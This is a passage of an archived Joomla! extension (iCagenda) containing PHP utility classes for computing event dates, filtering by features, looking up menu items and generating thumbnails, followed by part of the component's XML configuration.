							$returnNext = date('Y-m-d', strtotime($nd_startdate)) . ' ' . $time_startdate;
							$next_is_set = $next_is_set + 1;
						}

						// Single date
						else
						{
							if ($datetime_lastdate > $datetime_today)
							{
								$today_upcoming_SD = $today_upcoming_SD - 1;
							}

							if ($datetime_lastdate > $datetime_today
								&& $today_upcoming_SD == '0')
							{
								$returnNext = date('Y-m-d H:i:s', strtotime($AllDates[0]));
								$next_is_set = $next_is_set + 1;
							}
						}
					}

					// Multiple upcoming single dates
//					elseif ($tsdatetime_a > $datetime_today)
					// Changed because single dates have no end time, so admitted end time is midnight.
					elseif ($tsdatetime_a > $date_today
						&& $next_is_set == '0')
					{
						// Remaining Today's upcoming dates
						if ($tsdate_a == $date_today)
						{
							if ($tsdatetime_a > $datetime_today)
							{
								$today_upcoming_SD = $today_upcoming_SD - 1;
							}
						}

						// Remaining Upcoming dates
						if ($tsdate_a >= $datetime_today)
						{
							$upcoming_SD = $upcoming_SD - 1;
						}

						if ($today_upcoming_SD == '0'
							&& $upcoming_SD == '0')
						{
							$returnNext = date('Y-m-d H:i:s', strtotime($a));
							$next_is_set = $next_is_set + 1;
						}
					}
				}

				// Test End Date if Next Date or Last Date (3.1.5)
				$date_returnNext	= date('Y-m-d', strtotime($returnNext));
				$time_returnNext	= date('H:i:s', strtotime($returnNext));

				if ( ($date_enddate != '0000-00-00')
					&& ( $date_today == $date_enddate || $date_today == $date_returnNext) )
				{
					$time_LastTime = $time_startdate;
				}
				else
				{
					$time_LastTime = $time_returnNext;
				}

				// Fix 3.1.12 (removed isset($tPeriod))
				if ( ($nd_enddate != $nodate)
					&& ($date_startdate < $date_today)
					&& ($date_enddate == $date_today)
					&& ($time_LastTime >= $time_today) )
				{
//					$returnNextPediod = JHtml::date($nd_enddate, 'Y-m-d', $eventTimeZone) . ' ' . $time_startdate;
					$returnNextPediod = date('Y-m-d', strtotime($nd_enddate)) . ' ' . $time_startdate;
				}
				else
				{
					$returnNextPediod = $returnNext;
				}

				// Set next var
				if ( ($date_returnNext == $date_enddate)
					&& ($date_enddate == $date_today) )
				{
					$next = $returnNextPediod;
				}
				elseif (strtotime($date_startdate) < strtotime($date_today)
					&& strtotime($date_enddate) >= strtotime($date_today)
					&& strtotime($time_enddate) != strtotime($time_returnNext)
					&& strtotime($time_LastTime) > strtotime($time_today)
					)
				{
					$next = $date_returnNext . ' ' . date('H:i:s', strtotime($time_LastTime));
				}
				else
				{
					$next = $returnNext;
				}
			}
			// 3.1.12 Fixed and update events with bug
			if ($nd_next == $nodate
				&& $nd_state == 0
				&& $nd_startdate != $nodate
				&& $nd_enddate != $nodate
				&& strtotime($nd_enddate) >= strtotime($nd_startdate)
				)
			{
				$next = $returnNext;

				$query	= $db->getQuery(true);
				$query->update('#__icagenda_events');
				$query->set('`state`=1');
				$query->where('`id`='.(int)$nd_id);
				$db->setQuery($query);
				$db->query($query);
			}

			if ($next != $nd_next)
			{
				$query	= $db->getQuery(true);
				$query->update('#__icagenda_events');
				$query->set("`next`='".$next."'");
				$query->where('`id`='.(int)$nd_id);
				$db->setQuery($query);
				$db->query($query);
			}
		}
	}

	/**
	 * Returns the element of a SQL query WHERE clause to support filtering the selection of Events using Event Features
	 *
	 * Controlled by menu parameters:
	 *  features_filter - array of Feature IDs
	 *  features_incl_excl - indicates whether the Feature IDs are to be used to include or exclude Events
	 *  features_any_all - indicates whether any Feature ID or all Feature IDs required to include or exclude an Event
	 *
	 * One or more sub-queries is referenced in a WHERE clause with IN() or NOT IN() to include or exclude Events.
	 *
	 * If any Feature ID in isolation is to include or exclude Event records then a single sub-query is used that
	 * uses a simple inner join between the feature and feature_xref tables to identify the distinct set of Event IDs
	 * linked to any one of the spacific Feature IDs.
	 *
	 * If all Feature IDs combined are required to include or exclude Events then separate sub-queries are used for
	 * each of the spacific Feature IDs. For this case, a more efficient option is available involving a direct join
	 * with either an inner or outer join, according to whether records are being included or excluded but this
	 * puts an unreasonable constraint on the overall syntax of the query.
	 */
	public static function getFeaturesFilter()
	{
		// get the application object
		$app = JFactory::getApplication();
		$params = $app->getParams();

		// Initialise a return value that can be included harmlessly in a WHERE clause, if necessary
		$filter = ' TRUE ';
		$featureids = $params->get('features_filter', '');

		if (is_array($featureids) && !empty($featureids))
		{
			$db = Jfactory::getDbo();
			$incl_excl = $params->get('features_incl_excl', '1') == '1' ? '' : 'NOT';

			if ($params->get('features_any_all', '1') == '1')
			{
				// Any single Feature ID will include or exclude events
				// Create comma separated list of Feature IDs
				$featureids = implode(',', $featureids);
				// Create a single sub-query
				$sub_query = $db->getQuery(true);
				$sub_query->select('fx.event_id')
					->from('#__icagenda_feature_xref AS fx')
					->innerJoin("#__icagenda_feature AS f ON fx.feature_id=f.id AND f.state=1 AND f.show_filter=1 AND f.id IN($featureids)");
				// Join the sub-query to the main query
				$filter = "(e.id $incl_excl IN(" . (string) $sub_query . '))';
			}
			else
			{
				// All Feature IDs combined will include or exclude events
				// Create a separate sub-query for each of the Feature IDs
				$sub_queries = array();

				foreach ($featureids as $featureid)
				{
					$sub_query = $db->getQuery(true);
					$sub_query->select('fx.event_id')
						->from('#__icagenda_feature_xref AS fx')
						->innerJoin("#__icagenda_feature AS f ON fx.feature_id=f.id AND f.state=1 AND f.show_filter=1 AND f.id=$featureid");
					$sub_queries[] = "e.id $incl_excl IN(" . (string) $sub_query . ')';
				}

				// Combine the sub-queries depending on inclusion or exclusion of events
				$filter = "(" . implode($incl_excl == 'NOT' ? " \nOR " : " \nAND ", $sub_queries) . ')';
			}
		}

		return $filter;
	}

	/**
	 * Return Array of all registrations from an event (date@@people)
	 * date : registered date
	 * people : nb of tickets for this registration
	 *
	 * @since	3.5.0
	 */
	public static function registeredList($id = null)
	{
		// Registrations total
		$db		= Jfactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('r.date AS date, r.eventid AS eventid, r.people AS people');
		$query->from('`#__icagenda_registration` AS r');
		$query->where('r.state = 1');

		if ($id)
		{
			$query->where('r.eventid = ' . $db->q($id));
		}

		$db->setQuery($query);
		$result = $db->loadObjectList();

		$registeredList = array();

		foreach ($result AS $r)
		{
			$reg_date = $r->date ? $r->date : 'period';
			$registeredList[] = $r->eventid . '@@' . $reg_date . '@@' . $r->people;
		}

		return $registeredList;
	}

	/**
	 * Return list of all dates (singles and period) from an event
	 *
	 * @since	3.5.0 (Not Yet Used)
	 */
	public static function thisEventDates($id)
	{
		// Set vars
		$nodate			= '0000-00-00 00:00:00';
		$ic_nodate		= '0000-00-00 00:00';
		$eventTimeZone	= null;

		// Get Data
		$db		= Jfactory::getDbo();
		$query	= $db->getQuery(true);
        $query->select('e.next, e.dates, e.startdate, e.enddate, e.period, e.weekdays, e.displaytime, e.id');
        $query->from('#__icagenda_events AS e');
		$query->leftJoin('`#__icagenda_category` AS c ON c.id = e.catid');
		$query->where('c.state = 1');
		$query->where('e.id = ' . $db->q($id));
		$db->setQuery($query);
		$result = $db->loadObjectList();

		// Get Data
		$tId			= $id;
		$tDates			= $result->dates;
		$tStartdate		= $result->startdate;
		$tEnddate		= $result->enddate;
		$tWeekdays		= $result->weekdays;

		// Declare AllDates array
		$thisEventDates = array();

		// Get WeekDays Array
		$WeeksDays = iCDatePeriod::weekdaysToArray($tWeekdays);

		// If Single Dates, added each one to All Dates for this event
		$singledates = unserialize($tDates);

		foreach ($singledates as $sd)
		{
			$isValid = iCDate::isDate($sd);

			if ($isValid)
			{
				array_push($thisEventDates, $sd);
			}
		}

		$perioddates = iCDatePeriod::listDates($tStartdate, $tEnddate, $eventTimeZone);

		if (isset ($perioddates)
			&& $perioddates != NULL)
		{
			foreach ($perioddates as $Dat)
			{
				if (in_array(date('w', strtotime($Dat)), $WeeksDays))
				{
					$isValid = iCDate::isDate($Dat);

					if ($isValid)
					{
//						$SingleDate = JHtml::date($Dat, 'Y-m-d H:i:s', $eventTimeZone);
						$SingleDate = date('Y-m-d H:i:s', strtotime($Dat));

						array_push($thisEventDates, $SingleDate);
					}
				}
			}
		}

		return $thisEventDates;
	}
}
com_icagenda/utilities/events/index.html000060400000000037152455305270014455 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/menus/menus.php000060400000016174152455305270014154 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2014-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.12 2015-09-10
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaCategories
 */
class icagendaMenus
{
	/**
	 * Function to return all published 'List of Events' menu items
	 *
	 * @access	public static
	 * @param	none
	 * @return	array of menu item info this way : Itemid-mcatid-lang
	 *
	 * @since	3.4.0
	 */
	static public function iClistMenuItemsInfo()
	{
		$app = JFactory::getApplication();
//		$params		= $app->getParams();
		$iCparams	= JComponentHelper::getParams('com_icagenda');

		// List all menu items linking to list of events
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('m.title, m.published, m.id, m.params, m.language')
			->from('`#__menu` AS m')
			->where( "(m.link = 'index.php?option=com_icagenda&view=list') AND (m.published = 1)" );

		if (JLanguageMultilang::isEnabled())
		{
			$query->where('m.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
		}

		$db->setQuery($query);
		$link = $db->loadObjectList();

		$iC_list_menus = array();

		foreach ($link as $iClistMenu)
		{
			$menuitemid	= $iClistMenu->id;
//			$menulang	= $iClistMenu->language;

			if ($menuitemid)
			{
				$menu		= $app->getMenu();
				$menuparams	= $menu->getParams($menuitemid);
			}

			$mcatid		= $menuparams->get('mcatid');
			$menufilter	= $menuparams->get('time') ? $menuparams->get('time') : $iCparams->get('time', '0');

			if (is_array($mcatid))
			{
				$mcatid	= implode(',', $mcatid);
			}

//			array_push($iC_list_menus, $menuitemid . '_' . $mcatid . '_' . $menulang . '_' . $menufilter);
			array_push($iC_list_menus, $menuitemid . '_' . $mcatid . '_' . $menufilter);
		}

		return $iC_list_menus;
	}

	/**
	 * Function to return all published 'List of Events' menu items
	 *
	 * @access	public static
	 * @param	none
	 * @return	array of menu item info this way : Itemid-mcatid-lang
	 *
	 * @since	3.4.0
	 */
	static public function iClistMenuItems()
	{
		$app = JFactory::getApplication();

		// List all menu items linking to list of events
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('m.title, m.published, m.id, m.params, m.language')
			->from('`#__menu` AS m')
			->where( "(m.link = 'index.php?option=com_icagenda&view=list') AND (m.published = 1)" );

		if (JLanguageMultilang::isEnabled())
		{
			$query->where('m.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
		}

		$query->order('m.id ASC');

		$db->setQuery($query);
		$iC_list_menu_items = $db->loadObjectList();

		if ($iC_list_menu_items)
		{
			return $iC_list_menu_items;
		}
		else
		{
			return array();
		}
	}

	/**
	 * Function to return menu Itemid to display an event
	 *
	 * @access	public static
	 * @return	menu Itemid
	 *
	 * @since	3.5.7
	 */
	static public function thisEventItemid($date, $category, $array_menuitems = null)
	{
		$iC_list_menus = $array_menuitems ? $array_menuitems : self::iClistMenuItemsInfo();

		$datetime_today	= JHtml::date('now', 'Y-m-d H:i');
		$date_today		= JHtml::date('now', 'Y-m-d');

		// set menu link for each event (itemID) depending of category and/or language
		$onecat		= $multicat		= '0';
		$link_one	= $link_multi	= '';

		$menu_IDs_category	= array();
		$menu_IDs_all		= array();
		$itemID_is_set		= 0;

		foreach ($iC_list_menus AS $iCm)
		{
			$value			= explode('_', $iCm);
			$iCmenu_id		= $value['0'];
			$iCmenu_mcatid	= $value['1'];
			$iCmenu_filter	= $value['2'];

			$iCmenu_mcatid_array = ! is_array($iCmenu_mcatid) ? explode(',', $iCmenu_mcatid) : array();

			// Menu can display past events
			if ($iCmenu_filter == 2
				&& strtotime($date) < strtotime($datetime_today)
				&& ! $itemID_is_set)
			{
				// If menu category filter is set, and item category is in filtered categories
				if (in_array($category, $iCmenu_mcatid_array))
				{
					$menu_IDs_category[] = $iCmenu_id;
					$itemID_is_set = $itemID_is_set + 1;
				}
				elseif ( ! $iCmenu_mcatid)
				{
					$menu_IDs_all[] = $iCmenu_id;
				}
			}

			// Menu can display today's events
			elseif ($iCmenu_filter == 4
				&& strtotime($date) > strtotime($date_today)
				&& strtotime($date) < strtotime("+1 DAY", strtotime($date_today))
				&& ! $itemID_is_set)
			{
				// If menu category filter is set, and item category is in filtered categories
				if (in_array($category, $iCmenu_mcatid_array))
				{
					$menu_IDs_category[] = $iCmenu_id;
					$itemID_is_set = $itemID_is_set + 1;
				}
				elseif ( ! $iCmenu_mcatid)
				{
					$menu_IDs_all[] = $iCmenu_id;
				}
			}

			// Menu can display today's events and upcoming events
			elseif ($iCmenu_filter == 1
				&& strtotime($date) > strtotime($date_today)
				&& ! $itemID_is_set)
			{
				// If menu category filter is set, and item category is in filtered categories
				if (in_array($category, $iCmenu_mcatid_array))
				{
					$menu_IDs_category[] = $iCmenu_id;
					$itemID_is_set = $itemID_is_set + 1;
				}
				elseif ( ! $iCmenu_mcatid)
				{
					$menu_IDs_all[] = $iCmenu_id;
				}
			}

			// Menu can display upcoming events
			elseif ($iCmenu_filter == 3
				&& strtotime($date) > strtotime($datetime_today)
				&& ! $itemID_is_set)
			{
				// If menu category filter is set, and item category is in filtered categories
				if (in_array($category, $iCmenu_mcatid_array))
				{
					$menu_IDs_category[] = $iCmenu_id;
					$itemID_is_set = $itemID_is_set + 1;
				}
				elseif ( ! $iCmenu_mcatid)
				{
					$menu_IDs_all[] = $iCmenu_id;
				}
			}

			// Menu can display all events
			elseif ($iCmenu_filter == '0'
				&&  ! $itemID_is_set)
			{
				// If menu category filter is set, and item category is in filtered categories
				if (in_array($category, $iCmenu_mcatid_array))
				{
					$menu_IDs_category[] = $iCmenu_id;
					$itemID_is_set = $itemID_is_set + 1;
				}
				elseif ( ! $iCmenu_mcatid)
				{
					$menu_IDs_all[] = $iCmenu_id;
				}
			}

			if ($iCmenu_mcatid)
			{
				$nb_cat_filter = count($iCmenu_mcatid_array);

				for ($i = $category; in_array($i, $iCmenu_mcatid_array); $i++)
				{
					if ($nb_cat_filter == 1)
					{
						$link_one = $iCmenu_id;
					}
					elseif ($nb_cat_filter > 1)
					{
						$link_multi = $iCmenu_id;
					}
				}
			}
		}

		if (count($menu_IDs_category))
		{
			if ($link_one)
			{
				$linkid = $link_one;
			}
			elseif ($link_multi)
			{
				$linkid = $link_multi;
			}
			else
			{
				$linkid = $menu_IDs_category[0];
			}
		}
		elseif (count($menu_IDs_all))
		{
			$linkid = $menu_IDs_all[0];
		}
		else
		{
//			$linkid = '#';
			$linkid = null;
		}

		return $linkid;
	}
}
com_icagenda/utilities/menus/index.html000060400000000037152455305270014300 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/index.html000060400000000037152455305270013151 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/thumb/thumb.php000060400000010541152455305270014124 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iC Library - Library by Jooml!C, for Joomla!
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2014-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.0 2015-02-20
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaThumb
 */
class icagendaThumb
{
	/**
	 * Return the LARGE thumbnail from an image
	 * Generated by iCagenda with Global Options settings
	 *
	 * @since       3.4.0
	 */
	static public function sizeLarge($image, $type = null, $checksize = null)
	{
		$thumbsPath = self::iCagendaImagesPath();

		// Options Large Size
		$thumbOptions = JComponentHelper::getParams('com_icagenda')->get('thumb_large');
		$width = is_numeric($thumbOptions[0]) ? $thumbOptions[0] : '900';
		$height = is_numeric($thumbOptions[1]) ? $thumbOptions[1] : '600';
		$quality = is_numeric($thumbOptions[2]) ? $thumbOptions[2] : '100';
		$crop = !empty($thumbOptions[3]) ? true : false;

		// Generate large thumb if not exist
		$sizeLarge = iCThumbGet::thumbnail($image, $thumbsPath, 'themes', $width, $height, $quality, $crop, 'ic_large', $type, $checksize);

		return $sizeLarge;
	}

	/**
	 * Return the MEDIUM thumbnail from an image
	 * Generated by iCagenda with Global Options settings
	 *
	 * @since       3.4.0
	 */
	static public function sizeMedium($image, $type = null, $checksize = null)
	{
		$thumbsPath = self::iCagendaImagesPath();

		// Options Medium Size
		$thumbOptions = JComponentHelper::getParams('com_icagenda')->get('thumb_medium');
		$width = is_numeric($thumbOptions[0]) ? $thumbOptions[0] : '300';
		$height = is_numeric($thumbOptions[1]) ? $thumbOptions[1] : '300';
		$quality = is_numeric($thumbOptions[2]) ? $thumbOptions[2] : '100';
		$crop = !empty($thumbOptions[3]) ? true : false;

		// Generate medium thumb if not exist
		$sizeMedium = iCThumbGet::thumbnail($image, $thumbsPath, 'themes', $width, $height, $quality, $crop, 'ic_medium', $type, $checksize);

		return $sizeMedium;
	}

	/**
	 * Return the SMALL thumbnail from an image
	 * Generated by iCagenda with Global Options settings
	 *
	 * @since       3.4.0
	 */
	static public function sizeSmall($image, $type = null, $checksize = null)
	{
		$thumbsPath = self::iCagendaImagesPath();

		// Options Small Size
		$thumbOptions = JComponentHelper::getParams('com_icagenda')->get('thumb_small');
		$width = is_numeric($thumbOptions[0]) ? $thumbOptions[0] : '100';
		$height = is_numeric($thumbOptions[1]) ? $thumbOptions[1] : '100';
		$quality = is_numeric($thumbOptions[2]) ? $thumbOptions[2] : '100';
		$crop = !empty($thumbOptions[3]) ? true : false;

		// Generate small thumb if not exist
		$sizeSmall = iCThumbGet::thumbnail($image, $thumbsPath, 'themes', $width, $height, $quality, $crop, 'ic_small', $type, $checksize);

		return $sizeSmall;
	}

	/**
	 * Return the SMALL thumbnail from an image
	 * Generated by iCagenda with Global Options settings
	 *
	 * @since       3.4.0
	 */
	static public function sizeXSmall($image, $type = null, $checksize = null)
	{
		$thumbsPath = self::iCagendaImagesPath();

		// Options XSmall Size
		$thumbOptions = JComponentHelper::getParams('com_icagenda')->get('thumb_xsmall');
		$width = is_numeric($thumbOptions[0]) ? $thumbOptions[0] : '48';
		$height = is_numeric($thumbOptions[1]) ? $thumbOptions[1] : '48';
		$quality = is_numeric($thumbOptions[2]) ? $thumbOptions[2] : '80';
		$crop = !empty($thumbOptions[3]) ? true : false;

		// Generate xsmall thumb if not exist
		$sizeXSmall = iCThumbGet::thumbnail($image, $thumbsPath, 'themes', $width, $height, $quality, $crop, 'ic_xsmall', $type, $checksize);

		return $sizeXSmall;
	}

	/**
	 * Return the iCagenda images path
	 *
	 * @since       3.4.0
	 */
	static public function iCagendaImagesPath()
	{
		// Get media path
		$params_media = JComponentHelper::getParams('com_media');
		$image_path = $params_media->get('image_path', 'images');

		// Paths to thumbs folder
		$thumbsPath = $image_path . '/icagenda/thumbs';

		return $thumbsPath;
	}
}
com_icagenda/utilities/thumb/index.html000060400000000037152455305270014270 0ustar00<!DOCTYPE html><title></title>
com_icagenda/config.xml000060400000151244152455305270011137 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset name="component"
		label="COM_ICAGENDA_COMPONENT_LABEL"
		addfieldpath="/administrator/components/com_icagenda/assets/elements"
		>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_DESC"
			class="styleblanck"
			icimage="joomlic_iCagenda.png"
			/>
		<field name="version" type="hidden" class="inputbox" />
		<field name="release" type="hidden" class="inputbox" />
		<field name="icsys" type="hidden" class="inputbox" />
		<field name="author" type="hidden" class="inputbox" />
		<field name="bootstrapType" type="hidden" class="inputbox" default="1"/>
	</fieldset>

	<fieldset name="list"
		label="ICLIST" description="COM_ICAGENDA_LIST_PARAMS_DESC"
		addfieldpath="/administrator/components/com_icagenda/models/fields"
		>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_LIST_FILTERS"
			class="stylebox lead input-xxlarge"
			icicon="filter"
			/>
		<!--field
			name="datesDisplay"
			type="list"
			label="COM_ICAGENDA_LIST_TYPE_LBL"
			description="COM_ICAGENDA_LIST_TYPE_DESC"
			class="inputbox"
			default="2"
			>
			<option value="1">COM_ICAGENDA_LIST_ALL_DATES</option>
			<option value="2">COM_ICAGENDA_LIST_ALL_EVENTS</option>
		</field-->
		<field
			name="time"
			type="list"
			class="inputbox"
			label="COM_ICAGENDA_TIME_LBL"
			description="COM_ICAGENDA_TIME_DESC"
			default="0">
			<option value="2">COM_ICAGENDA_OPTION_PAST_EVENTS</option>
			<option value="4">COM_ICAGENDA_OPTION_CURRENT_EVENTS_TODAY_EVENTS</option>
			<option value="1">COM_ICAGENDA_OPTION_CURRENT_EVENTS_TODAY_AND_UPCOMING_EVENTS</option>
			<option value="3">COM_ICAGENDA_OPTION_UPCOMING_EVENTS</option>
			<option value="0">COM_ICAGENDA_OPTION_ALL_EVENTS</option>
		</field>
		<field
			name="orderby"
			type="list"
			label="COM_ICAGENDA_LBL_DATE"
			description="COM_ICAGENDA_DESC_DATE"
			default="2">
				<option value="1">COM_ICAGENDA_DATE_DESC</option>
				<option value="2">COM_ICAGENDA_DATE_ASC</option>
		</field>
		<field
			name="datesDisplay"
			type="radio"
			label="COM_ICAGENDA_LIST_TYPE_LBL"
			description="COM_ICAGENDA_LIST_TYPE_DESC"
			class="btn-group"
			labelclass="control-label"
			onchange="icalert()"
			default="1">
				<option value="1">JYES</option>
				<option value="2">JNO</option>
		</field>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_LIST_HEADER"
			class="stylebox lead input-xxlarge"
			icicon="bi-color-header"
			/>
		<field
			name="headerList"
			type="list"
			default="1"
			label="COM_ICAGENDA_LIST_HEADER_LABEL"
			description="COM_ICAGENDA_LIST_HEADER_DESC"
			>
			<option value="1">JALL</option>
			<option value="2">COM_ICAGENDA_LIST_HEADER_ONLY_TITLE</option>
			<option value="3">COM_ICAGENDA_LIST_HEADER_ONLY_SUBTITLE</option>
			<option value="4">JNONE</option>
		</field>
		<field
			name="CatDesc_global"
			type="modal_icmulti_opt"
			label="COM_ICAGENDA_DISPLAY_CATINFOS_LABEL"
			description="COM_ICAGENDA_DISPLAY_CATINFOS_DESC"
			default="0"
			labelclass="control-label"
			/>
		<field
			name="CatDesc_checkbox"
			type="modal_icmulti_checkbox"
			label=" "
			class="checkbox"
			labelclass="control-label"
			/>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_LIST_NAVIGATOR"
			class="stylebox lead input-xxlarge"
			icicon="navigation"
			/>
		<field
			name="navposition"
			type="list"
			label="COM_ICAGENDA_LIST_NAVIGATOR_POSITION_LABEL"
			description="COM_ICAGENDA_LIST_NAVIGATOR_POSITION_DESC"
			default="1"
			>
			<option value="0">COM_ICAGENDA_TOP</option>
			<option value="1">COM_ICAGENDA_BOTTOM</option>
			<option value="2">COM_ICAGENDA_TOP_AND_BOTTOM</option>
		</field>
		<field
			name="arrowtext"
			type="radio"
			label="COM_ICAGENDA_LIST_ARROWS_TEXT_LABEL"
			description="COM_ICAGENDA_LIST_ARROWS_TEXT_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="pagination"
			type="radio"
			label="COM_ICAGENDA_LIST_PAGINATION_LABEL"
			description="COM_ICAGENDA_LIST_PAGINATION_TEXT_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_LIST_DATEBOX"
			class="stylebox lead input-xxlarge"
			icicon="calendar-2"
			/>
		<field
			name="day_display_global"
			type="radio"
			label="COM_ICAGENDA_LIST_DATEBOX_DAY_DISPLAY_LABEL"
			description="COM_ICAGENDA_LIST_DATEBOX_DAY_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="month_display_global"
			type="radio"
			label="COM_ICAGENDA_LIST_DATEBOX_MONTH_DISPLAY_LABEL"
			description="COM_ICAGENDA_LIST_DATEBOX_MONTH_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="year_display_global"
			type="radio"
			label="COM_ICAGENDA_LIST_DATEBOX_YEAR_DISPLAY_LABEL"
			description="COM_ICAGENDA_LIST_DATEBOX_YEAR_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="time_display_global"
			type="radio"
			label="COM_ICAGENDA_LIST_DATEBOX_TIME_DISPLAY_LABEL"
			description="COM_ICAGENDA_LIST_DATEBOX_TIME_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="0"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_LIST_INFORMATION"
			class="stylebox lead input-xxlarge"
			icicon="info"
			/>
		<field
			name="list_title_length"
			type="text"
			class="input-mini"
			label="COM_ICAGENDA_LIST_TITLE_LENGTH_LABEL"
			description="COM_ICAGENDA_LIST_TITLE_LENGTH_DESC"
			default=""
			/>
		<field
			name="venue_display_global"
			type="radio"
			label="COM_ICAGENDA_LIST_VENUE_DISPLAY_LABEL"
			description="COM_ICAGENDA_LIST_VENUE_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="city_display_global"
			type="radio"
			label="COM_ICAGENDA_LIST_CITY_DISPLAY_LABEL"
			description="COM_ICAGENDA_LIST_CITY_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="country_display_global"
			type="radio"
			label="COM_ICAGENDA_LIST_COUNTRY_DISPLAY_LABEL"
			description="COM_ICAGENDA_LIST_COUNTRY_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="shortdesc_display_global"
			type="radio"
			label="COM_ICAGENDA_LIST_INTROTEXT_DISPLAY_LABEL"
			description="COM_ICAGENDA_LIST_INTROTEXT_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default=""
			>
			<option value="">IC_AUTO</option>
			<option value="0">JHIDE</option>
			<option value="1">IC_SHORTDESC</option>
			<option value="2">IC_AUTO_INTROTEXT</option>
		</field>
	</fieldset>

	<fieldset name="details"
		label="ICEVENT"
		description="COM_ICAGENDA_EVENT_PARAMS_DESC"
		>
		<field
			type="TitleImg"
			label="ICDESC"
			class="stylebox lead input-xxlarge"
			icicon="iclogo"
			/>
		<field
			name="desc_display_event"
			type="list"
			label="COM_ICAGENDA_EVENT_DESCRIPTION_DISPLAY_LABEL"
			description="COM_ICAGENDA_EVENT_DESCRIPTION_DISPLAY_DESC"
			filter="options"
			default=""
			>
			<option value="">IC_AUTO</option>
			<option value="1">IC_FULLDESC</option>
			<option value="2">IC_SHORTDESCRIPTION</option>
			<option value="3">IC_SHORT_AND_FULL_DESCRIPTION</option>
			<option value="0">JHIDE</option>
		</field>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_LEGEND_INFORMATION"
			class="stylebox lead input-xxlarge"
			icicon="info"
			/>
		<field
			name="infoDetails"
			type="radio"
			label="COM_ICAGENDA_INFORMATION_LABEL"
			description="COM_ICAGENDA_INFORMATION_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="accessInfoDetails"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			class="inputbox"
			size="1"
			default="1"
			/>
		<field
			name="targetLink"
			type="list"
			label="COM_ICAGENDA_TARGET_LINK_LABEL"
			description="COM_ICAGENDA_TARGET_LINK_DESC"
			class="inputbox"
			filter="options"
			default="1"
			>
			<option value="0">JBROWSERTARGET_PARENT</option>
			<option value="1">JBROWSERTARGET_NEW</option>
		</field>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_LEGEND_GOOGLE_MAPS"
			class="stylebox lead input-xxlarge"
			icicon="location"
			/>
		<field
			name="GoogleMaps"
			type="radio"
			label="COM_ICAGENDA_LEGEND_GOOGLE_MAPS"
			description="COM_ICAGENDA_GOOGLE_MAPS_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="accessGoogleMaps"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			class="inputbox"
			size="1"
			default="1"
			/>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_EVENT_ALL_DATES"
			class="stylebox lead input-xxlarge"
